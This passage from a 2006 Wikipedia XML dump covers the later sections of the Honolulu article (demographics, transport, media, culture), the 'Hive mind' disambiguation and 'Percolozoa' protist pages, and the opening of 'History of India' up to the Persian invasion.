* '''Wai{{okina}}alae''' and '''Kāhala''' are the upper-class districts of Honolulu located directly east of Diamond Head, where there are many high-priced homes.  Also found in these neighborhoods are the [[Waialae Country Club|Wai{{okina}}alae Country Club]] and the [[Kahala Mandarin Oriental Hotel|Kāhala Mandarin Oriental Hotel]].
* '''East Honolulu''' includes the residential communities of '''{{okina}}Āina Haina''', '''Niu Valley''', and '''[[Hawaii Kai, Hawaii|Hawai{{okina}}i Kai]]'''.  These are considered upper-middle-class neighborhoods.
* '''[[Kalihi|Kalihi and Pālama]]''' are working-class neighborhoods with a number of government housing developments.  Lower Kalihi, toward the ocean, is a light-industrial district.
* '''[[Salt Lake, Hawaii|Salt Lake]]''' and Āliamanu are (mostly) residential areas built in extinct [[volcanic cone|tuff cones]] along the western end of the Honolulu District, not far from the [[Honolulu International Airport]].
* '''[[Moanalua]]''' is two neighborhoods and a valley at the western end of Honolulu, and home to [[Tripler Army Medical Center]].

==Demographics==
As of the [[census]]{{GR|2}} of [[United States 2000 census|2000]], there were 371,657 people,  140,337 households, and 87,429 families residing in the CDP.  The [[population density]] was 1,674.4/km&amp;sup2; (4,336.6/mi&amp;sup2;).  There were 158,663 housing units at an average density of 714.8/km&amp;sup2; (1,851.3/mi&amp;sup2;).  The racial makeup of the CDP was 19.67% [[White (U.S. Census)|White]], 1.62% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.19% [[Race (U.S. Census)|Native American]], 55.85%[[Race (U.S. Census)|Asian]], 6.85%   [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.89% from [[Race (U.S. Census)|other races]], and 14.93% from two or more races.  4.37% of the population were [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

Of the 140,337 households, 23.7% had children under the age of 18 living with them, 45.5% were [[Marriage|married couples]] living together, 12.1% had a female householder with no husband present, and 37.7% were non-families. 29.7% of all households were made up of individuals and 10.0% had someone living alone who was 65 years of age or older.  The average household size was 2.57 and the average family size is 3.23.

In Honolulu in 2000 the population was spread out with 19.2% under the age of 18, 8.9% from 18 to 24, 29.9% from 25 to 44, 24.1% from 45 to 64, and 17.8% who were 65 years of age or older.  The median age was 40 years.  For every 100 females there were 96.6 males.  For every 100 females age 18 and over, there were 94.5 males.

The median income for a household in the city proper was $45,112, and the median income for a family was $56,311. Males had a median income of $36,631 versus $29,930 for females. The [[per capita income]] for the CDP was $24,191.  11.8% of the population and 7.9% of families were below the [[poverty line]].  Out of the total population, 14.6% of those under the age of 18 and 8.5% of those 65 and older were living below the poverty line.

==Notable Citizens==
{{further|[[List of famous people from Hawaii]]}}

==Transportation==
Located on the western end of Honolulu proper, [[Honolulu International Airport]] (HNL) is the principal aviation gateway to the state of Hawai{{okina}}i.

Two [[freeway]]s serve Honolulu:
* '''[[Interstate H-1]]''', which, coming into the city from the west, passes [[Hickam Air Force Base]] and Honolulu International Airport, runs just north of Downtown and continues eastward through Makiki and Kaimukī, ending at Wai{{okina}}alae/Kāhala.  West of the city proper, H-1 connects to '''[[Interstate H-2]]''' from [[Wahiawa|Wahiawā]] and '''[[Interstate H-3]]''' from [[Kaneohe, Hawaii|Kāne{{okina}}ohe]].
* '''[[Interstate H-201]]'''&amp;mdash;also known as the '''Moanalua Freeway''' and formerly numbered Hawai{{okina}}i State Rte. 78&amp;mdash;connects two points along H-1: at [[Aloha Stadium]] and [[Fort Shafter]]. Close to H-1 and Aloha Stadium, H-201 has an exchange with the western terminus of '''[[Interstate H-3]]''' to the windward side of O{{okina}}ahu ([[Kaneohe, Hawaii|Kāne{{okina}}ohe]]).  This complex of connecting ramps, some directly between H-1 and H-3, is in [[Halawa, Hawaii|Hālawa]].  

Other major highways that link Honolulu proper with other parts of the Island of O{{okina}}ahu are:
* '''Pali Highway''', State Rte. 61, crosses north over the Ko{{okina}}olau range via the Pali Tunnels to connect to [[Kailua, Hawaii|Kailua]] and [[Kaneohe, Hawaii|Kāne{{okina}}ohe]] on the windward side of the Island.
* '''Likelike Highway''', State Rte. 63, also crosses the Ko{{okina}}olau to Kāne{{okina}}ohe via the Wilson Tunnels.
* '''Kalanianaole Highway''', State Rte. 72, runs eastward from Wai{{okina}}alae/Kāhala to [[Hawaii Kai, Hawaii|Hawai{{okina}}i Kai]] and around the east end of the island to [[Waimanalo Beach, Hawaii|Waimānalo Beach]].
* '''Kamehameha Highway''', State Rte. 99, runs westward from near [[Hickam Air Force Base]] to [[Aiea, Hawaii|{{okina}}Aiea]] and beyond, paralleling the H-1.   

Like most major American cities, the Honolulu metropolitan area experiences heavy traffic congestion during rush hours, especially to and from the western suburbs of Kapolei, {{okina}}Ewa, [[Aiea|{{okina}}Aiea]], [[Pearl City]], [[Waipahu]], and [[Mililani]].  Land for expanding road capacity is at a premium everywhere on O{{okina}}ahu.

Established by former Mayor [[Frank F. Fasi]], Honolulu's [[public transit]] system has been twice honored by the [[American Public Transportation Association]] bestowing the title of &quot;America's Best Transit System&quot; for 1994-1995 and 2000-2001.  O{{okina}}ahu Transit Services' &quot;[[TheBus]]&quot; operates 93 routes with a fleet of 525 buses.  

Currently, there is no fixed-rail mass transit system in Honolulu.  However, in 2004, the City &amp; County of Honolulu and the State of Hawai&amp;lsquo;i approved development of an action plan for a fixed rail mass transit system to be built in several phases.  The initial line could link Kapolei in West O{{okina}}ahu to Iwilei near Downtown Honolulu (port area).  Several attempts had been made since the 1980s and 1990s to construct a fixed rail mass transit system but stalled during Honolulu City Council hearings.

Also in 2004, construction had started on a [[bus rapid transit]] (BRT) system using dedicated rights-of-way for buses.  The system, proposed by former Mayor [[Jeremy Harris]], was expected to link the Iwilei neighborhood with [[Waikiki|Waikīkī]].  However, current Mayor [[Mufi Hannemann]] has largely dismantled the BRT system and deployed its buses along other express bus routes.

==Cultural institutions==
===Performing arts===
Established in 1900, the [[Honolulu Symphony]] is the oldest US symphony orchestra west of the Rocky Mountains.  Other classical music ensembles include the [[Hawaii Opera Theatre|Hawai{{okina}}i Opera Theatre]].  Honolulu is also a center for [[Hawaiian music]].  The main music venues include the [[Neal Blaisdell Center]] Concert Hall, the [[Waikiki Shell|Waikīkī Shell]], and the [[Hawaii Theatre|Hawai{{okina}}i Theatre]].

Honolulu also includes several venues for live [[theatre]], including the [[Diamond Head Theatre]] and the [[Manoa Valley Theatre]].

===Visual arts===
Located near [[downtown Honolulu]], the premier venue for visual arts in Hawai{{okina}}i is the [[Honolulu Academy of Arts]].  The Honolulu Academy of Arts features the largest collection of Western and Asian art in Hawai{{okina}}i and also hosts a year-round film and video program dedicated to the presentation of arthouse and world cinema in the museum's [[Doris Duke]] Theatre.  The [[Contemporary Museum]] in [[Makiki]] is the main museum of contemporary art in the state.

===Other museums, aquariums, zoos, and cultural centers===
* The [[Bishop Museum]] is the largest museum in the State of Hawai{{okina}}i and houses thousands of natural history specimens and cultural artifacts relating to Hawai{{okina}}i and the Pacific.
* The [[Waikiki Aquarium|Waikīkī Aquarium]] and the [[Honolulu Zoo]] are both located at the eastern end of Waikīkī in [[Kapiolani Park|Kapi{{okina}}olani Park]].
* The Hawaii State Art Museum (HISAM) ([http://www.state.hi.us/sfca/ official site]) is located in the downtown district in the old YMCA building and features local artists. Blessed with both a great collection and a competent house staff.

===Sports===
Currently, Honolulu has no professional sports teams.  However, Honolulu hosts the [[National Football League|NFL]]'s annual [[Pro Bowl]] each February in addition to the [[National Collegiate Athletic Association|NCAA]] football [[Hawaii Bowl]].  Fans of spectator sports in Honolulu generally support the [[American football|football]], [[volleyball]], [[basketball]], and [[baseball]] programs of the [[University of Hawaii at Manoa|University of Hawai{{okina}}i at Manoa]]. Highschool sporting events, especially football, are especially popular. Venues for spectator sports in Honolulu include:
* [[Aloha Stadium]] ([[American football|football]])
* [[Les Murakami Stadium]] at UH-Manoa ([[baseball]])
* [[Stan Sheriff Center]] at UH-Manoa ([[basketball]] and [[volleyball]])
* [[Neal Blaisdell Center]] Arena ([[basketball]])

Honolulu's mild climate lends itself to year-round fitness activities as well.  In 2004, ''[[Men's Fitness]]'' magazine named Honolulu the [[physical fitness|fittest]] city in the U.S.  Honolulu is also home to two large [[road running|road race]]s:
* The [[Great Aloha Run]] is held annually on [[Presidents' Day]].
* The [[Honolulu Marathon]], held annually on the second Sunday in December, draws more than 20,000 participants each year, about half to two thirds of them from [[Japan]].

==Media==
===Newspapers===
Honolulu is served by two daily [[newspaper]]s:  the ''[[Honolulu Advertiser]]'' and  the ''[[Honolulu Star-Bulletin]]''. It is one of the few remaining cities of its size in the U.S. to have more than one daily newspaper.

===Television===
{{main|List of television stations in Hawaii}}
([http://www.hawaiiradiotv.com/ from hawaiiradiotv.com])

====Full power TV channels====
*2 [[KHON]] ([[Fox Television Network|Fox]])
*4 [[KITV]] ([[ABC Television Network|ABC]])
*5 [[KFVE]] ([[The WB Television Network|The WB]])
*9 [[KGMB]] ([[CBS]])
*11 [[KHET]] ([[Public Broadcasting Service|PBS]])
*13 [[KHNL]] ([[NBC]])
*14 [[KWHE]] (independent)
*20 [[KIKU]] ([[UPN]] and Asian programming, Mainly Japanese &amp; some Filipino, Vietnamese, Korean)
*26 [[KAAH]] ([[Trinity Broadcasting Network|TBN]])
*32 [[KBFD]] (Korean programming)
*38 [[KALO]] (Religious)
*44 [[KWBN]] ([[Daystar]])
*50 [[KKEI]] (TBA)
*56 [[KMGT]] (New, TBA)
*60 New (TBA)
*66 [[KPXO]] ([[i]])
====Low-power TV channels====
*42 [[K42CO]]
*46 [[KHLU]]-LP ([[Univision]]) to move from channel 60 soon
*48 [[KHHI]]-LP ([[Home Shopping Network|HSN]])
*56 [[K56EX]]
*64 [[K64FN]]

====Digital TV channels====
*8 [[KGMB]]
*18 [[KHET]]
*19 [[KIKU]]
*22 [[KHON]]
*23 [[KFVE]]
*27 [[KAAH]]
*31 [[KWHE]]
*33 [[KBFD]]
*35 [[KHNL]]
*39 [[KALO]]
*40 [[KITV]]
*41 [[KPXO]]
*43 [[KWBN]]

===Radio stations===
{{main|List of radio stations in Hawaii}}
====17 AM radio stations====
*590 [[KSSK AM &amp; FM|KSSK]] Adult Contemporary
*650 [[KRTR]] Asian
*690 [[KORL]] Ethnic
*760 [[KGU]] Religious
*830 [[KHVH]] News/Talk
*870 [[KAIM]] Country
*940 [[KKNE]] Ethnic
*990 [[KHBZ]] Talk
*1040 [[KLHT]] Religious
*1080 [[KWAI]] Talk
*1130 [[KRUD]] New;TBA
*1170 [[KHCM]] Country
*1210 [[KZOO]] Japanese Pop
*1270 [[KNDI]] Ethnic
*1370 [[KUPA]] Ethnic
*1420 [[KKEA]] Sports
*1460 [[KHRA]] Asian
*1500 [[KUMU]] Talk
*1540 [[KREA]] Asian

====20 FM radio stations====
*88.1 [[KHPR]] Classical, News ([[National Public Radio]])
*89.3 [[KIPO]] News, Information, Jazz ([[National Public Radio]])
*90.3 [[KTUH]] Modern Rock, Progressive music
*92.3 [[KSSK AM &amp; FM|KSSK]] Adult Contemporary
*93.1 [[KQMQ]] Top 40
*93.9 [[KIKI (FM)|KIKI]] Rhythmic Top 40
*94.7 [[KUMU-FM]] Adult Contemporary
*95.5 [[KAIM-FM]] Contemporary Christian
*96.3 [[KRTR-FM]] Adult Top 40
*97.5 [[KHNR]] Talk
*98.5 [[KDNN]] Hawaiian Contemporary
*99.5 [[KHUI]] Hawaiian Adult Contemporary
*100.3 [[KCCN]] Hawaiian Top 40
*101.1 [[KLHI]] Modern Rock
*101.9 [[KUCD]] Modern Rock
*102.7 [[KDDB]] Rhythmic Top 40
*104.3 [[KPHW]] Rhythmic Top 40
*105.1 [[KINE-FM|KINE]] Traditional Hawaiian
*105.9 [[KPOI]] Classic Rock
*107.9 [[KGMZ]] Oldies

===Cable and satellite television===
[[Image:honolulu_diamondhead.jpg|right|thumb|300px|Rainbow over Honolulu skyline with Diamond Head behind.]]
Oceanic-Time Warner Cable (a division of [[Time Warner Cable]]) is the primary cable television carrier in the Honolulu metropolitan area.  Satellite television ([[DIRECTV]], [[Dish Network]], some [[C-Band]]) is also available as an alternative.

==Tourist attractions==
*[[Bishop Museum]]
*[[Honolulu Academy of Arts]]
*[[Diamond Head, Hawaii|Diamond Head]]
*[[Lyon Arboretum]]
*[[National Memorial Cemetery of the Pacific]]
*[[Waikiki|Waikīkī Beach]]
{{See also|Oahu}}

==Colleges &amp; universities==
*[[University of Hawaii|University of Hawai{{okina}}i Mānoa]] &amp;mdash; Students: 21,000 (Manoa Campus)&lt;sup&gt;2&lt;/sup&gt;
*[[Chaminade University]] &amp;mdash; Students: 1,130; Tuition: $13,380/yr&lt;sup&gt;2&lt;/sup&gt;
*[[Hawaii Pacific University|Hawai{{okina}}i Pacific University]] &amp;mdash; Students: 8,500; Tuition: $10,922/yr&lt;sup&gt;2&lt;/sup&gt;
* Brigham Young University&amp;ndash;Hawai{{okina}}i (Lā{{okina}}ie) &amp;mdash; Students: 2,400; Tuition: $15,000/yr

==References==
# [[Geographic references]].
# [http://www.HONOLULUADVERTISER.com/localnews/ ''Honolulu Advertiser''], Section B. Monday, June 7, 2004. Estimated student body size and annual tuition for selected colleges on O{{okina}}ahu.

==External links==
*{{wikitravel}}
*[http://www.honolulu.gov City &amp; County of Honolulu] official site
*[http://www.gohawaii.com/ Hawai{{okina}}i Vistors and Convention Bureau]
*[http://www.eng.hawaii.edu/Trafficam/ Honolulu Traffic Information Center (includes camera links)]
*[http://www.prh.noaa.gov/hnl/ National Weather Service Honolulu office]

{{Mapit-US-cityscale|21.30895|-157.826182}}

{{Hawaii}}
{{United States state capitals}}

[[Category:Honolulu, Hawaii| ]]
[[Category:Neighborhoods of Honolulu|Honolulu]]
[[Category:State capitals in the United States|Honolulu]]

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[[ko:호놀룰루]]
[[haw:Honolulu]]
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[[he:הונולולו]]
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[[ja:ホノルル]]
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[[zh:檀香山 (夏威夷)]]</text>
    </revision>
  </page>
  <page>
    <title>Hive mind</title>
    <id>13888</id>
    <revision>
      <id>40347207</id>
      <timestamp>2006-02-19T23:41:51Z</timestamp>
      <contributor>
        <username>David.alex.lamb</username>
        <id>917191</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Hive mind''' can mean
*a [[collective consciousness]] strongly exhibiting traits of [[conformity (psychology)|conformity]] and [[groupthink]].
*the [[hivemind (software)|Hivemind]] software framework.
*in [[science fiction]], a [[group mind (science fiction)#Hives|group of organisms with a single mind]]
*the apparent consciousness of colonies of [[social insect|social insects]] such as [[ant]]s, [[bee]]s and [[termite]]s
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Percolozoa</title>
    <id>13889</id>
    <revision>
      <id>40874282</id>
      <timestamp>2006-02-23T16:12:20Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Taxobox | color = khaki
| name = Percolozoa
| image = Naegleria.png
| image_width = 153px
| image_caption = Different stages of ''[[Naegleria]]''
| regnum = [[Protist]]a
| phylum = '''Percolozoa'''
| phylum_authority = [[Thomas Cavalier-Smith|Cavalier-Smith]] 1991
| classis = '''Heterolobosea'''
| classis_authority = Page &amp; Blanton 1985
| subdivision_ranks = Typical families
| subdivision = Acrasidae&lt;br&gt;Gruberellidae&lt;br&gt;Lyromonadidae&lt;br&gt;Vahlkampfiidae
}}
The '''Percolozoa''' are a group of colourless [[protozoa]], including many that can transform between [[amoeboid]], [[flagellate]], and encysted stages.  These are collectively referred to as schizopyrenids, amoeboflagellates, or vahlkampfids.  They also include the acrasids, a group of social amoebae that aggregate to form [[sporangium|sporangia]].  The entire group is usually called the '''Heterolobosea''', but this may be restricted to members with amoeboid stages.

Most Percolozoa are found as bacterivores in soil, freshwater, and on feces.  There are a few marine and parasitic forms, including the species ''[[Naegleria fowleri]]'', which can become pathogenic in humans and is often fatal.  The group is closely related to the [[Euglenozoa]], and share with them the unusual though not unique characteristic of having [[mitochondrion|mitochondria]] with discoid [[crista]]e.  The presence of a ventral feeding groove in the flagellate stage, as well as other features, suggests that they are part of the [[excavate]] group.

The amoeboid stage is roughly cylindrical, typically around [[1 E-5 m|20-40 &amp;mu;m]] in length.  They are traditionally considered lobose amoebae, but are not related to the others and unlike them do not form true lobose pseudopods.  Instead, they advance by eruptive waves, where hemispherical bulges appear from the front margin of the cell, which is clear.  The flagellate stage is slightly smaller, with two or four anterior flagella anterior to the feeding groove.

Usually the amoeboid form is taken when food is plentiful, and the flagellate form is used for rapid locomotion.  However, not all members are able to assume both forms.  The genera ''Percolomonas'', ''Lyromonas'', and ''Psalteriomonas'' are known only as flagellates, while ''Vahlkampfia'', ''Pseudovahlkampfia'', and the acrasids do not have flagellate stages.  As mentioned above, under unfavourable conditions, the acrasids aggregate to form sporangia.  These are superficially similar to the sporangia of the [[dictyostelid]]s, but the amoebae only aggregate as individuals or in small groups and do not die to form the stalk.

The Heterolobosea were first defined by [[Page (biologist)|Page]] and [[Blanton]] in 1985 as a class of amoebae, and so only included those forms with amoeboid stages.  [[Thomas Cavalier-Smith|Cavalier-Smith]] created the phylum Percolozoa for the extended group, together with the enigmatic flagellate ''[[Stephanopogon]]''.  He maintained the Heterolobosea as a class for amoeboid forms, but most others have expanded them to include the flagellates as well.

== References ==
* {{cite journal
 | last = Page | first =  F.C.
 | coauthors =  R.L. Blanton
 | title = The Heterolobosea (Sarcodina: Rhizopoda), a new class uniting the Schizopyrenida and Acrasidae (Acrasida)
 | journal = Protistologica
 | year = 1985 | volume = 21 | pages = 121-132
 }}
* {{cite book
 | last = Cavalier-Smith | first = T.
 | year = 1991
 | chapter = Cell diversification in heterotrophic flagellates
 | title = The Biology of Free-living Heterotrophic Flagellates
 | editor = D.J. Patterson &amp; J. Larsen
 | pages = pp. 113-131
 | publisher = Oxford University Press
 }}

[[Category:Protista]]
[[Category:Amoeboids]]
[[Category:Flagellates]]

[[fr:Percolozoa]]
[[nds:Percolozoa]]</text>
    </revision>
  </page>
  <page>
    <title>History of India</title>
    <id>13890</id>
    <revision>
      <id>42101253</id>
      <timestamp>2006-03-03T21:06:26Z</timestamp>
      <contributor>
        <username>Urshyam</username>
        <id>390483</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{HistoryOfSouthAsia}}

The '''[[history]] of [[India]]''' can be traced in fragments to as far back as 9,500 years ago. The [[Indus Valley Civilization]], one of the oldest in the world, dates back over 5,000 years.  According to the [[Indo-Aryan migration]] hypothesis, the [[Aryan]]s, a semi-nomadic people, possibly from [[Central Asia]] or northern [[Iran]], migrated into the north-west regions of the [[Indian subcontinent]] between [[2000 BCE]] and [[1500 BCE]]. Their merger with the earlier [[Dravidian]] cultures apparently resulted in classical [[Indian culture]], though the exact details of this process are controversial. The births of [[Mahavira]] and [[Buddha]] in [[6th century BC|6th century BCE]] mark the beginning of well-recorded Indian history. For the next 1500 years, [[India]] produced its classical civilisation, and is estimated to have had the largest [[Economic history of India|economy]] of the ancient world between the [[1st century|1&lt;sup&gt;st&lt;/sup&gt;]] and [[15th century|15&lt;sup&gt;th&lt;/sup&gt;]] centuries CE, controlling between one third and one quarter of the world's wealth up to the time of the [[Mughal empire|Mughals]], from whence it rapidly declined during European rule.

Incursions by [[Arab]] and [[Turkic peoples|Central Asian]] armies in the [[8th century|8&lt;sup&gt;th&lt;/sup&gt;]] and [[12th century|12&lt;sup&gt;th&lt;/sup&gt;]] centuries were followed by inroads by traders from [[Europe]], beginning in the late [[15th century]]. By the middle of the [[19th century]] ([[1858]]), the British Crown had assumed political control over virtually all of India. Indian armed forces in the British army played a vital role in both the [[World Wars]]. [[Nonviolent resistance]] to British colonialism led, by [[Mohandas Gandhi]], [[Vallabhbhai Patel]] and [[Jawaharlal Nehru]] brought independence in [[1947]]. The subcontinent was partitioned into the Secular Democratic Republic of [[India]] and the smaller [[Islam|Islamic]] Republic of [[Pakistan]]. A war between the two countries in [[1971]] resulted in [[East Pakistan]] becoming the separate nation of [[Bangladesh]]. In the [[21st century]], India has made impressive gains in economic investment and output, and stands as the world's largest democracy with a population exceeding 1 billion, is self sufficient in terms of food, and is a fast-growing, economically strong country, with the fourth largest [[List of countries by GDP (PPP)|economy (PPP)]] in the world.

Human civilizations in [[India]] are some of the earliest recorded, and were contemporaries of civilizations in ancient [[Mesopotamia]] and [[Egypt]]. India's history essentially includes all of the [[Indian subcontinent]], including the more recent nations of [[Pakistan]] and [[Bangladesh]]. India is also inalienably linked with the history and heritage of the other [[South Asia|South Asian]] nations like [[Sri Lanka]], [[Nepal]] and [[Bhutan]]. India's culture, economy and politics has influenced, and has been influenced in turn, by the history and culture of the nations in [[South East Asia]], [[East Asia]] and [[Central Asia]], such as [[Indonesia]], [[Cambodia]], [[Thailand]], [[China]], [[Tibet]], [[Iran|Persia]] and [[Afghanistan]] over thousands of years. After [[Arab]] incursions into India during the early part of the 2nd Millennium AD, similar quests for access to India's fabled wealth strongly influenced the history of [[medieval Europe]], after the landing of [[Vasco Da Gama]].  [[Christopher Columbus]] discovered [[Americas|America]] whilst seaching for a new route to [[India]] and [[China]], and the [[British Empire]] gained much of its resources after the incorporation of India as the 'Jewel in the Crown', from the [[1700s]] to [[1947]]. 

==The Paleolithic era==
[[Image:Bhimbetka rock paintng1.jpg|thumb|280px|frame|[[Bhimbetka]] rock painting]]
Isolated remains of [[Homo Erectus]] in [[Hathnora]] in the [[Narmada Valley]] in [[Central India]] indicate that [[India]] might have been inhabited since at least the [[Middle Pleistocene]] era [http://www.gsi.gov.in/homonag.htm]. The precise date of these remains is unclear, and archaeologists put it anywhere between 200,000 to 500,000 years [http://www.telegraphindia.com/1050321/asp/knowhow/story_4481256.asp]. The fossils are the earliest human remains found in [[South Asia]]. Recent finds include a [[quarry]] along the [[Malaprabha]] and [[Ghataprabha]] rivers in the [[Kaladgi Basin]] in [[Karnataka]]. Modern humans seem to have settled the subcontinent towards the end of the last [[ice age|Ice Age]] about 12,000 years ago. The first confirmed permanent settlements appeared 9,000 years ago in [[Bhimbetka]] in modern [[Madhya Pradesh]].

==The Neolithic era==
Early [[Neolithic]] culture in South Asia is represented by the [[Mehrgarh]] findings ([[7000 BC]] onwards), in [[Balochistan (Pakistan)|Balochistan]], [[Pakistan]]. The Mehrgarh community was mostly [[pastoral]], lived in mud houses, wove baskets and tended to [[goat]]s and their farms. By [[5500 BC]], pottery began to appear and later [[chalcolithic]] implements began to appear. By [[2000 BC]], the settlement was abandoned.

Traces of a [[Neolithic]] culture have been found submerged in the [[Gulf of Khambat]] in [[2002]] [http://www.ias.ac.in/currsci/jul10/articles29.htm]. Many of the finds recovered from the area have been [[radiocarbon dating|radiocarbon dated]] to [[7500 BC]].

Late Neolithic cultures sprang up in the Indus Valley region between 6000 BC and 2000 BC (see [[History of India#The Bronze Age|below]]), and in southern India between 2800 BC and 1200 BC.

==The Bronze age==
[[Bronze age]] civilizations in the Indian subcontinent laid the foundations for modern Indian civilization, including urban settlements and the development of [[Vedic religion|Vedic beliefs]], which form the core of Hinduism. Many historians claim that the rise, and eventual decline of the [[Indus Valley Civilization]], and the [[Indo-Aryan migration|migration]] of nomadic peoples from Central Asia into the Indian subcontinent shaped its history during this period.

===Indus Valley Civilization===
{{main|Indus Valley Civilization}}
[[Image:IndusValleySeals.JPG|thumb|280px|Seals with the [[Indus script]]]]
The transition of settlements from agricultural to complex urban communities, a salient feature of all late Neolithic and early [[Bronze Age]] cultures, occurred in the Indian subcontinent sometime between the early settlements at Mehrgarh and c. [[3300 BC]]. This period marked the beginning of the earliest urban society in India, known as the [[Indus Valley Civilization]] (or, the [[Harappa|Harappan]] Civilization), which thrived between [[3300 BC]] and [[1900 BC]]. It was centred along the [[Indus River]] and its tributaries, including the [[Ghaggar River|Ghaggar]]-[[Hakra River]], and extended into the [[Doab|Ganges-Yamuna Doab]], [[Gujarat]], and northern [[Afghanistan]].

The civilization is noted for its cities built of brick, road-side drainage system and multi-storeyed houses. The earliest historic references to India may be those to the [[Meluhha]] in Sumerian records, possibly referring to the Indus Valley civilization. When compared to the contemporary civilizations of [[Ancient Egypt|Egypt]] and [[Sumeria]], the Indus Civilization possessed unique urban planning techniques, covered the largest geographical area, and may have been a single state, as suggested by the amazing uniformity of its measurement systems.

The [[Mohenjo-daro]] ruins were once the centre of this ancient society. Indus Civilization settlements spread as far south as present-day [[Bombay]], as far east as [[Delhi]], as far west as the [[Iran]]ian border, and as far north as the [[Himalaya]]s. Among the settlements were the major urban centres of [[Harappa]] and Mohenjo-daro, as well as [[Dholavira]], [[Ganweriwala]], [[Lothal]], [[Kalibanga]] and [[Rakhigarhi]]. At its peak, some archaeologists opine that the Indus Civilization may have had a population of well over five million. To date, over 2,500 cities and settlements have been found, mainly in the general region to the east of the Indus River in Pakistan along what is claimed by many to be the [[Saraswati River]] mentioned in the [[Vedas]]. It is thought by some that geological disturbances and climate change, leading to a gradual deforesatation may ultimately have contributed to the civilization's downfall.

Archaeological resources suggest that the diverse geography of ancient India was increasing in the amount and specialization of faunal remains around 2400 to [[1500 BC]]. This specialization suggests that the Indus Valley Civilizations were dependent upon the alluvial soils of the rivers, which produced high yield crops. By 2600 BC, the presence of a state level society is evident, complete with hierarchical rule and large scale public works. These include accomplishments such as irrigation, warehouses for grain, public streets, and brick-lined drainage systems for sanitation. Around the mid 2nd millennium BC, the region of the Indus River basin, in which approximately two-thirds of currently known sites were located dried up, and the sites were abandoned.

===Vedic civilization===
{{main|Vedic Civilization}}

The Vedic civilization is the [[Indo-Aryans|Indo-Aryan]] culture associated with the [[Veda]]s, which are some of the oldest extant texts, orally composed in [[Vedic Sanskrit]]. The exact connection between the genesis of this civilization and the Indus Valley civilization on one hand, and a possible [[Indo-Aryan migration]] on the other hand, is the subject of dispute. Early Vedic society was largely [[pastoralism|pastoral]]. After the Rigveda, Aryan society became increasingly [[agriculture|agricultural]], and was organized around the four [[Varna]]s, or classes. Several small kingdoms and tribes merged to form a few large ones, such as the [[Kuru]] and [[Panchala|Pançala]], some of which were often at war with each other. 

In addition to the principal texts of Hinduism (the [[Vedas]]), the great Indian epics (the [[Ramayana]] and [[Mahabharata]]) are said to have their ultimate origins during this period, from an oral tradition of unwritten bardic recitation. The [[Bhagavad Gita]], another primary text of Hinduism, is contained within the Mahabharata. 

Early Indo-Aryan presence probably corresponds, in part, to the presence of [[Ochre Coloured Pottery]] in archaeological findings. The kingdom of the [[Kuru (India)|Kurus]] corresponds to the [[Black and Red Ware]] culture and the beginning of the [[Iron Age]] in Northwestern India, around [[1000 BC]] (This date is most likely, contemporaneous with the composition of the [[Atharvaveda]]). [[Painted Grey Ware]] cultures spanning much of Northern India marks the Middle Vedic period, followed by a  wave of urbanization that occurred across the Indian sub-continent, from [[Afghanistan]] to [[Bengal]], in the [[6th century BC]]. A number of [[monarchy|kingdom]]s and oligarchies, often called [[republic]]s, emerged across the [[Indo-Gangetic plain]] and the northern part of the [[Deccan]] during this period. 16 of these ''Republics'', called [[Mahajanapadas]] (great lands), are referred to in the ancient literature of the period.

==The Mahajanapadas==
{{main|Mahajanapadas}}
[[Image:StandingBuddha.JPG|thumb|right|280px|Standing Buddha, ancient region of [[Gandhara]], [[1st century|1st century CE]].]]
By [[500 BC]], sixteen monarchies  and  'republics' known as the [[Mahajanapadas]] stretched across the [[Indo-Gangetic plains]] from modern-day Afghanistan to [[Bangladesh]]. The largest of these nations were [[Magadha]], [[Kosala]], [[Kuru (India)|Kuru]] and [[Gandhara]]. The right of a king to his throne, no matter how it was gained, was usually legitimized through religious right and genealogies concocted by priests who ascribed divine origins to the rulers. There is some controversy about how closely the political entities of this period can be represented by those mentioned in the [[Rig Veda|Vedas]], and ancient epics of India. The educated speech at that time was [[Sanskrit]], while the dialects of the general population of northern India were referred to as [[Prakrit|Prakrits]].

Hindu rituals at that time were complicated and conducted by the priestly class. It is thought that the [[Upanishads]], late Vedic texts dealing mainly with incipient philosophy, were first composed early in this period.  They had a huge effect on Indian philosophy, and were contemporary to the development of [[Buddhism]] and [[Jainism]], indicating a golden age of thought in this period, similar to that in ancient Greece.  It was in [[537 BC]], that [[Gautama Buddha]] gained enlightenment and founded [[Buddhism]], which was initially intended as a supplement to the existing Vedic [[dharma]]. Around the same time period, in mid-6th century BC, [[Mahavira]] founded [[Jainism]]. Both religions had a simple doctrine, and were preached in Prakrit, which helped it gain acceptance amongst the masses. While the geographic impact of Jainism was limited, Buddhist nuns and monks eventually spread the teachings of Buddha to [[Central Asia]], [[East Asia]], [[Tibet]], [[Sri Lanka]] and [[South East Asia]].

Recorded history from this period of fragmented states is sparse, up until the advent of [[Buddhism]] and [[Jainism]] but the Mahajanapadas were roughly equivalent to the [[Ancient Greece|ancient Greek]] city-states of the same period in the [[Mediterranean]], producing philosophy which would eventually form the basis of much of the eastern world's beliefs, just as ancient Greece would produce philosophy that much of the western world's subsequent beliefs were based on. The period effectively ended with the onset of [[Persia|Persian]] and [[Ancient Greece|Greek]] invasion, and the subsequent rise of a single Indian empire from the kingdom of Magadha.

== Persian and Greek invasion ==
Around the 5th century BCE, the northern Indian subcontinent was invaded by the [[Achaemenid Empire]] and the Greeks of [[Alexander the Great]]'s army. This had important repercussions for Indian civilisation, as the political systems of the Persians would have an influence on later Indian political philosophy, including the administration of the [[Maurya Dynasty|Mauryan dynasty]], and a melting pot of Indian, Persian, Central Asian and Greek culture was created in the modern region of Afghanistan, producing a unique hybrid culture.

===Achaemenid Empire===
{{main|Achaemenid Empire}}
